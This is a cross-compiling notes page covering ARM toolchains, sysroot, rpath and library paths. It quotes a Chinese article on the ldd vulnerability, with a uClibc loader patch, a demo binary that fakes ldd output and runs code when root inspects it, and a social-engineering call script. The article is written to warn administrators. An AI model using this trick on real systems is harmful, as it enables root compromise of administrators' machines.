Cross Compile: intro

For simple tasks, I suggest using debian to cross compile without using ct-ng.. CentOS/RH seems not a good solution for cross build tasks.

Using objdump to check foreign arch executables/objects dependencies: 

objdump -p a.out | grep NEEDED
lgf . | awk '{print $1}' | xargs objdump -p | grep NEEDED | grep NEEDED | cut -f ' ' -d 1 | sort|uniq

Also note, the things related to dynamic interpreter path(of ld.so) should be taken care of, I will try to work out a resolution. (Using hexedit?)

From here, quotes:

Cross-compile the dependecies

As said, when you cannot find a binary package for a give library your code depend upon, you have to cross-compile a version of it for your target platform. This can only be done, obviously, if the source code is available for that library, for example if it is open source. In my world, this is often the case. I hope so for yours… ;-)

Many open source libraries use auto-tools to compile, which means that for these libraries the compilation requires the following commands (DON’T DO THIS YET):

./configure
make
sudo make install

Since what we are trying to do is cross-compile the library, we will need something different from the usual commands above. Here’s an example:

./configure CC=arm-linux-gnueabihf-gcc --prefix=~/x-compile/deps --host=arm-linux-gnueabihf
make
make install

The meaning of these commands is the following (proceeding in order, from top to bottom):

1. we call the configure script passing a few parameters. The first tells configure to use the cross-compiler instead of the usual gcc; the second sets the destination folder for compilation products; the third sets the architecture of the host that will be running the binaries.

2. call make, which is a GNU meta-build tool (I would rather say THE meta-build tool) that uses so-called makefiles to build a project. This actually perform the compilation and linking steps

3. call make with the install target, which means we are asking make to install the binaries to the folder we previously set with the --prefix option.

Cross-compile your code

To cross-compile your code you obviously need to invoke the cross-compiler coming with the tool-chain you installed. I will refer to the case where the Raspberry-Pi is the target architecture, either because it is a quite common case and because it is the latest experiment I tried :).

The tool-chain compiler is usually a particular version of gcc. Typically, the binary name is prefixed with a string identifying the target architecture. For the Raspberry-Pi architecture, a common tool-chain provides arm-linux-gnueabihf-gcc. For very simple programs, cross-compiling turns out to be as simple as using this cross-compiler instead of the usual gcc:

arm-linux-gnueabihf-gcc -o hello_world hello_world.c

but things get more complex when the code is not trivial. In the case I described in the previous section, the command line would be something like this:

arm-linux-gnueabihf-gcc --sysroot=~/x-compile/sysroot -I./include -I/usr/local/include -L~/x-compile/deps -o hello_world -lmy_shared_library ~/x-compile/deps/my_static_library.a hello_world.c

Quite complex, isn’t it? We have many more parameters and options in this command line, let’s give a closer look.

1. --sysroot=~/x-compile/sysroot is a very important option, since it tells the cross-compiler to resolve all paths in the -I and -L options with respect to the given path. So, we are basically saying that the ./include and the /usr/local/include folders should be first look for in ~/x-compile/sysroot.

2. -L~/x-compile/deps adds the path ~/x-compile/deps to the list of paths where static (.a) and shared (.so) libraries are searched at compile and linking time. I am supposing that there exist two libraries: my_static_library.a and libmy_shared_library.so within the ~/x-compile/deps folder

3. -lmy_shared_library tells the linker we are linking against libmy_shared_library.so (remember what I said above about the -L option…)

4. ~/x-compile/deps/my_static_library.a simply tells the linker to include the code from this library (the complete path could be omitted thanks to the -L option)

That should build a binary executable file for your target architecture (which is formally armv6l for the Raspberry-Pi). You can verify that by using the command file on the result:

file hello_world

You should see a line of text containing the word amrv6l somewhere. If it is missing, then something went wrong and what you get is not an executable for the Raspberry-Pi.

Install your code to the target architecture and make it run like a champ!

At this point, you probably have already copied the binary file to the Raspberry (or your target machine) and see that it does not work… :) Keep calm, we are almost done. If the program fails by saying it was unable to load (or find) a .so library, it is because we didn’t tell the loader where that library can be found. And if everything was done correctly, the error should refer to our dependency, libmy_shared_library.so. If so, there are a few ways you can fix things:

1. copy libmy_shared_library.so to a place that the system looks into for other libraries, for example /usr/lib or /usr/local/lib

2. copy libmy_shared_library.so wherever you like and start the program like this:

   LD_LIBRARY_PATH=/path/to/the/folder/containing/the/library ./hello_world

3. modify the value of LD_LIBRARY_PATH environment value before calling the program:

   export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/the/folder/containing/the/library ./hello_world

All of this should work. Symbolic links are also ok, so if you prefer you may just create a symlink in /usr/lib poiting to libmy_shared_library.so, wherever it is placed. But the solution I prefer is a little different: I like to set an rpath into the binary file of my program.

An rpath is a path that will be stored within the binary file itself, and that the loader will use to look for libraries when every other path have been checked. To do this, you have to add a few other option to your gcc command line, like this:

arm-linux-gnueabihf-gcc --sysroot=~/x-compile/sysroot -I./include -I/usr/local/include -L~/x-compile/deps -o hello_world -Xlinker -rpath=./ -lmy_shared_library ~/x-compile/deps/my_static_library.a hello_world.c

The -Xlinker -rapth=./ tells the linker to add ./ as an rpath when it creates the binary file. In this way, you can simply put your dependencies in the same folder as the executable binary file. I think it is a very practical solution to distribute an application with its own dependencies without having to install the libraries system-wide.

 

-----Quotes another article from here, though outdated, some parameters are very useful---

我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想像的要危险得多，也许很多黑客通过ldd的安全问题来攻击你的服务器。其实，ldd的安全问题存在很长的时间了，但居然没有被官方文档所记录来下，这听上去更加难以理解了。怎么？是不是听起来有点不可思议？下面，让我为你细细道来。

首先，我们先来了解一下，我们怎么来使用ldd的，请你看一下下面的几个命令：

(1) $ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

(2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

(3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

第(1)个命令，我们运行了 `ldd` 于 `/bin/grep`。我们可以看到命令的输出是我们想要的，那就是 `/bin/grep` 所依赖的动态链接库。

第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量，然后就好像在运行命令 `/bin/grep` (但其实并不是)。 其运行结果和ldd的输出是一样的！

第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ，然后调用了动态链接库 `ld-linux.so` 并把 `/bin/grep` 作为参数传给它。我们发现，其输出结果还是和前面两个一样的。

 

具体发生了什么？

对于第二个和第三个命令来说，好像是对 `ldd` 的一个包装或是一个隐式调用。对于第二个和第三个命令来说， `/bin/grep` 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了，那么它就不会去执行那个可运行的程序，而去输出这个可执行程序所依赖的动态链接库 （在BSD 系统上的`ldd` 是一个C 程序)。

如果你使用的是Linux，那么，你可以去看看 `ldd` 程序，你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码，你会发现，第二个命令和第三个命令的差别就在于 `ld-linux.so` 装载器是否可以被`ldd`所装载，如果不能，那就是第二个命令，如果而的话，那就是第三个命令。

所以，如果我们可以让`ld-linux.so` 装载器失效的话，或是让别的装载器来取代这个系统默认的动态链接库的话，那么我们就可以让 `ldd`来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量，而是直接运行程序。

例如，你可以创建一个具有恶意的程序，如： ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人（比如超级用户root） 运行了 `ldd /home/you/app/bin/exec` ，于是，他就玩完了。因为，那并不会列出所依赖的动态链接库，而是，直接执行你的那个恶意程序，这相当于，那个用户给了你他的授权。

编译一个新的装载器

下载 uClibc C库。这是一个相当漂亮的代码，并且可以非常容易地修改一下源代码，使其忽略LD_TRACE_LOADED_OBJECTS 检查。

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

解压这个包，并执行 `make menuconfig`，选项你的平台架构（比如：i386），剩下的事情保持不变。

$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
$ rm -rf uClibc-0.9.30.1.tar.bz2
$ cd uClibc-0.9.30.1
$ make menuconfig

编辑 .config 并设置目标安装目录：到 `/home/you/app/uclibc`，
把下面两行

RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

改成

RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

现在你需要改动一下其源代码，让其忽略LD_TRACE_LOADED_OBJECTS 环境变量的检查。 下面是个这修改的diff，你需要修改的是 `ldso/ldso/ldso.c` 文件。你可把下面的这个diff存成一个叫file的文件，然后运行这个命令：`patch -p0 < file`。如果你不这样做的话，那么，我们的黑客程序就无法工作，而我们的这个装载器还是会认为 `ldd` 想列出动态链接库的文件列表。

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
         }  #endif
+    /*
         if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                 trace_loaded_objects++;
         }
+    */
   #ifndef __LDSO_LDD_SUPPORT__
         if (trace_loaded_objects) {

下面让我们来编译并安装它。

$ make -j 4
$ make install

于是，我们的 uClibc 装载器就被安装了，并且libc 库指向了 /home/you/app/uclibc. 就这么简单，现在，我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。

小试 牛刀

首先，先让我们来创建一个测试程序，这人程序也就是输出些自己的东西，这样可以让我们看到我们的程序被执行了。我们把这个程序放在 `app/bin/`下，叫“myapp.c”，下面是源代码

#include <stdio.h>
#include <stdlib.h>

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your things are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

这是一个很简单的代码了，这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了，如果是，那么恶意程序执行，如果没有，那么程序什么也不发生。

下面是编译程序的命令，，大家可以看到，我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。

$ L=/home/you/app/uclibc
$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

下面是GCC的各个参数的解释：

• -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一个新的装载器。
• -Wl,-rpath-link,$L/lib — 指定一个首要的动态装载器所在的目录，这个目录用于查找动态库。
• -nostdlib — 不使用系统标准库。
• myapp.c -o myapp — 编译myapp.c 成可执行文件 myapp,
• $L/usr/lib/crt*.o — 静态链接runtime 代码
• -L$L/usr/lib/ — libc 的目录（静态链接）
• -lc —  C 库

现在让我们来运行一下我们的 `myapp` （没有ldd，一切正常）

app/bin$ ./myapp
Nothing.

LD_TRACE_LOADED_OBJECTS 没有设置，所以输出 “Nothing” 。

现在，让我们来使用 `ldd` 来看看这个程序的最大的影响力，让我们以root身份来干这个事。

$ su
Password:
# ldd ./myapp
All your things are belong to me.

哈哈，我们可以看到，ldd触发了我们的恶意代码。于是，我们偷了整个系统！

邪恶的程序

下面这个例子更为实际一些，如果没有`ldd` ，那程序程序会报错 “error while loading shared libraries” ，这个错误信息会引诱你去去使用 `ldd` 去做检查，如果你是root的话，那么就整个系统就玩完了。而当你可以了 `ldd` 后，它会在干完坏事后，模仿正确的`ldd`的输出，告诉你 `libat.so.0` 不存在。

下面的代码仅仅是向你展示了一下整个想法，代码还需加工和改善。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven't implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/

void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}

void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");

        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}

int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }

    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

 

邪恶的电话

事实上来说，上面的那段程序可能的影响更具破坏性，因为大多数的系统管理员可能并不知道不能使用 `ldd` 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话，让我们看看我们的程序是如何更快地获得系统管理员的权限的。

系统管理员的电话狂响……

系统管理员： “同志你好，我是系统管理员，有什么可以帮你的？”

黑客：“管理员同志你好。我有一个程序不能运行，总是报错，错误好像是说一个系统动态链接库有问题，你能不能帮我看看？”

系统管理员：“没问题，你的那个程序在哪里？”

黑客： “在我的home目录下，/home/hchen/app/bin/myapp”。

系统管理员：“ OK，等一会儿”，黑客在电话这头可以听到一些键盘的敲击声。

系统管理员：“好像是动态链接库的问题，你能告诉我你的程序具体需要什么样的动态链接库吗？”

黑客说: “谢谢，应该没有别的嘛。”

系统管理员：“嗯，查到了，说是没有了 `libat.so.0`这是你自己的动态链接库吗？”

黑客说：“哦，好像是的，你等一下，我看看……” 黑客在那头露出了邪恶的笑，并且，讯速地输入了下面的命令：

`mv ~/.hidden/working_app ~/app/bin/myapp`
`mv ~/.hidden/libat.so.o ~/app/bin/`

黑客说：“哦，对了，的确是我的不对，我忘了把这个链接库拷过来了，现在应该可以了，谢谢你啊，真是不好意思，麻烦你了”

系统管理员： “没事就行了，下次注意啊！”（然后系统管理心里暗骂，TMD，又一个白痴用户！……）

教训一：千万不要使用 `ldd` 去测试你不知道的文件！
教训二：千万不要相信陌生人！